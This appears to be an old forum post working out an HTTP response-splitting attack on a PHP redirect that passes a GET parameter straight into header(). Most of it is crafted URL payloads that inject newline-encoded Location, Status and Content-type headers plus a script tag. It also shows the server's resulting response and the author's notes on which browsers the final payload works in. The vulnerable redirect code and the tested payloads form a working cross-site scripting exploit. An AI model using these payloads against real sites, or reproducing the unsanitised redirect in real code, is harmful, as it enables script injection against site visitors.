To add a bit to the response splitting part, I bumped earlier into a redirect done with the following PHP code:
$landing_page = $_GET["redirect"];
header("Location: http://".$_SERVER["HTTP_HOST"]."/$landing_page");
Now that's interesting, because even if you %0a at the beginning of redirect=, there's still a perfectly good Location: header that every browser will redirect to rather than parse the html markup you injected.
Fortunately, this is PHP, and the PHP header() command is known to do really smart stuff. kinda.
so ?redirect=%0aContent-type:html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E fails.
What about
?redirect=%0aLocation:%0aContent-type:html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E ?
On some environments, you'd end up with the server sending two Location: headers, one valid, one invalid, and you'd have to end up praying most browsers get lazy.
With PHP however, the header() command makes sure only the latest Location: header gets sent. So we always win.
We end up having the server sending something like
HTTP/1.1 302
Date: Sun, 08 Oct 2006 10:02:51 GMT
Server: Apache
Location:
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
1d
<script>alert(0)</script>
0
That's great, and it works perfectly in Firefox.
IE6 and IE7, on the other hand, don't give up there. For whatever reason, they interpret that empty Location: line as an invitation to redirect to / on the same host.
Maybe it's the "302" http code that made IE feel like it had to.
So next I tried ?redirect=%0aStatus:201%0aLocation:%0aContent-type:text/html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E
Again, this relies on the PHP header() function recognizing the "Status:" header and interpreting it as an attempt to change the HTTP status code. Smart function, like I said.
Why "201" and what does it mean? Well, because I tried "200" first, which didn't work, and no idea. respectively.
Anyway, that one works in Firefox, Opera and IE6 and 7, so it's a keeper for me.